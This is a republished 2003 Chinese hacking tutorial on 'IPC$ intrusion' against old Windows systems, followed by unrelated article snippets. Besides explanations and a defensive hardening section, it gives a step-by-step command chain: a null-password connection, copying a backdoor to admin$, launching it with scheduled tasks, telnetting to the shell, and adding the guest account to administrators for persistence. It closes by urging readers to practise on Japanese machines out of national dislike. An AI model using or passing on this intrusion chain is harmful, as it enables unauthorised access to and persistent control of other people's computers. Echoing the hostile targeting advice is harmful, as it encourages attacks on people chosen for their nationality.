一份详尽的IPC$入侵资料

创建时间:2003-03-16

文章属性:原创
文章来源:菜菜鸟社区http://ccbirds.yeah.net
文章提交:iqst (papabang_at_qingdaonews.com)

[ccbirds入门级教程]--各个击破1--ipc$入侵

一 唠叨一下:
网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:( 
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
  

五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因: 
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限; 
错误号51,Windows 无法找到网络路径 : 网络有问题; 
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤); 
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。 
错误号1326,未知的用户名或错误密码 : 原因很明显了; 
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况) 
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。 
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


六  如何打开目标的IPC$(此段引自相关文章) 
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法),还是不行的话(比如有防火墙,杀不了)建议放弃。 


七  如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。 

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码


(本教程不定期更新,欲获得最新版本,请登陆官方网站:菜菜鸟社区原创http://ccbirds.yeah.net


八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:""        (一定要注意:这一行命令中包含了3个空格) 

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码"     (同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名"       (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del 

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推 
net use * /del 删除全部,会有提示要求按y确认


九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈) 

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators" 
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与127.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
  
2. C:\>copy srv.exe \\127.0.0.1\admin$ 
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1 
查查时间,发现127.0.0.1 的当前时间是 2002/3/19 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!) 
  
5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2002/3/19 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99 
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm 
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务! 

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组    
10. C:\>net user guest /active:yes 
将对方的Guest用户激活

11. C:\>net user guest 1234 
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add 
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)


十 总结:
关于ipc入侵就说这么多了,觉得已经够详细了,如果有不准确的地方,希望能与大家讨论.
最后,希望大家不要随便入侵,我写这篇文章的目的是想解答大家的疑惑,并不是鼓励大家随便的入侵,如果你非想试一下,建议拿小日本的机子开练(什么?为什么?因为我讨厌日本,没别的)

完成时间:iqst-2003/2/16 23:01 http://ccbirds.yeah.net
更新时间:2003/2/17/23:06
[ccbirds入门级教程]--各个击破1--ipc$入侵

转载于:https://www.cnblogs.com/csxyy/archive/2012/02/20/2358890.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/404435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CString转char的方法总结

From: http://www.lewensky.cn/read.php/133.htm 1.传给未分配内存的const char* (LPCTSTR)指针. CString cstr(asdd);const char* ch (LPCTSTR)cstr;ch指向的地址和cstr相同。但由于使用const保证ch不会修改,所以安全.2.传给未分配内…

[react-router] 请你说说react的路由是什么?

[react-router] 请你说说react的路由是什么? React的路由是纯前端的路由,就是根据hash或browser path的变化,框架内封装好了方法,可以自由的切换DOM展示,来模拟页面或局部页面被替换的目的;让浏览器不用刷…

使用Delphi7构建工商银行电子口令密码查找助手

工商银行通过网银结账的时候,会给出一个类似于B5G7的字符串,让你在自己的口令卡上找到对应的口令码。因为口令卡上的数字挺多的,而且有水印,找起来挺麻烦的,我就花了几十分钟的时间,写了一个快速查找口令卡…

[react-router] 请你说说react的路由的优缺点?

[react-router] 请你说说react的路由的优缺点? 优点: 配置灵活支持丰富的传参利用hashRouter也可以实现低版本浏览器的兼容 缺点: v4之后使用url query的方式传参比较繁琐,解析时需要使用queryString和location.search利用reac…

gcc compiler warning: “will be initialized after/when initialized here”

From: http://blog.csdn.net/qtyl1988/article/details/6818325 先看看我为二叉树写的结点类&#xff1a; template <class ElemType> class TreeNode { private:TreeNode* lchild;TreeNode* rchild; public:ElemType data;TreeNode(const ElemType& item,TreeNode…

DEV控件Grid显示行号

DEV控件Grid的显示行号需要通过一个事件来设置&#xff0c;具体设置代码为&#xff1a; private void gridView1_CustomDrawRowIndicator(object sender, DevExpress.XtraGrid.Views.Grid.RowIndicatorCustomDrawEventArgs e) {if (e.Info.IsRowIndicator && e.RowHand…

[react-router] React-Router的<Link>标签和<a>标签有什么区别

[react-router] React-Router的<Link>标签和<a>标签有什么区别 Link 组件最终会渲染为 HTML 标签 <a>&#xff0c;它的 to、query、hash 属性会被组合在一起并渲染为 href 属性。虽然 Link 被渲染为超链接&#xff0c;但在内部实现上使用脚本拦截了浏览器的…

创建弹出窗口的图片展示

本帖最后由 oisweb 于 2009-11-24 14:11 编辑图片有点大了 显示不是很好 自己看着办吧 1 创建工程 设置页面属性 <mx:Application xmlns:mx"http://www.adobe.com/2006/mxml" layout"vertical" horizontalAlign"center" verticalAlign&…

国内常用NTP服务器地址及IP

From: http://www.douban.com/note/171309770/ 时间服务器默认的端口号是&#xff1a;123&#xff0c;协议为UDP 210.72.145.44 (国家授时中心服务器IP地址) 133.100.11.8 日本 福冈大学 time-a.nist.gov 129.6.15.28 NIST, Gaithersburg, Maryland time-b.nist.gov 129.6.1…

[react] 受控组件和非受控组件有什么区别?

[react] 受控组件和非受控组件有什么区别&#xff1f; 受控组件用value和组件的state绑定&#xff0c;当value更新时&#xff0c;会自动更新state 非受控组件没有value&#xff0c;采用ref直接操作dom 个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容…

Core Data 多线程操作实战篇

最近在解决百度音乐iPhone客户端偶现数据库操作crash的问题&#xff0c;顺手整理了下CoreData的多线程原则&#xff0c;以及实际开发时应该如何遵守这些原则。 Core Data多线程操作的基本原则 不允许跨线程访问MOC&#xff1a; 在某一个MOC上的CRUD操作只能在它的操作线程上进行…

分布式系统和元数据

------俗解&#xff1a;---------------------------------------------------- 什么是分布式系统&#xff1a; 1&#xff1a;通俗点说分布式系统就是能把服务器端程序分开部署到多台机器上。 2&#xff1a;跟分层毫无关系, 跟它容易搞混的是集群 分布式就是把一个系统分布在不…

移植gdb到DM368 IPNC中 linux arm gdb

From: http://blog.csdn.net/ghostyu/article/details/8081897 移植gdb到嵌入式的ipnc中&#xff0c;大多数人习惯使用printf调试&#xff0c;但是遇到像”segment fault“这的错误也是后就很难定位&#xff0c;这时候gdb的作用就体现出来了 在pc使用gdb调试应用程序前&…

[react] react是哪个公司开发的

[react] react是哪个公司开发的 facebook 个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容易&#xff0c; 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题

Silverlight实用窍门系列:56.Silverlight中的Binding使用(一)【附带实例源码】

本文将详细讲述Silverlight中Binding&#xff0c;包括Binding的属性和用法&#xff0c;Binding的数据流向。 Binding:一个完整的Binding过程是让源对象中的某个属性值通过一定流向规则进行转换和验证之后绑定到目标对象的某个属性上面。这个源对象由ElementName指定&#xff0c…

linux下如何产生core,调试core

From: http://blog.163.com/redhumor126/blog/static/19554784201131791239753/ 在程序不寻常退出时&#xff0c;内核会在当前工作目录下生成一个core文件&#xff08;是一个内存映像&#xff0c;同时加上调试信息&#xff09;。使用gdb来查看core文件&#xff0c;可以指示出…

[react] react中怎样阻止组件渲染?

[react] react中怎样阻止组件渲染&#xff1f; class组件 使用shouldComponentUpdate生命周期&#xff0c;return false继承React.PureComponent只要prop没有改变(浅比较)&#xff0c;就不会执行render函数 函数式组件 使用React.memo包裹组件函数&#xff0c;props没有改变就…

嵌套滚动demo

https://github.com/luv135/NestedScrollingDemo https://github.com/ggajews/nestedscrollingchildviewdemo ViewParentCompat是一个和父view交互的兼容类&#xff0c;它会判断api version&#xff0c;如果在Lollipop以上&#xff0c;就是用view自带的方法&#xff0c;否则判断…

jqGrid + JSON + WebService 完整示例

真没找到这样的例子&#xff0c;于是自已写了个&#xff0c;分享出来。 第一步&#xff0c;首先在WebService上&#xff0c;添加[System.Web.Script.Services.ScriptService]属性标签&#xff0c;让WebServer支持JSON. namespace jqGrid_JSON_WebService_Sample.Services{/// &…

[react] 在react中页面重新加载时怎样保留数据?

[react] 在react中页面重新加载时怎样保留数据&#xff1f; 使用浏览器localstorage来保存应用程序的状态 个人简介 我是歌谣&#xff0c;欢迎和大家一起交流前后端知识。放弃很容易&#xff0c; 但坚持一定很酷。欢迎大家一起讨论 主目录 与歌谣一起通关前端面试题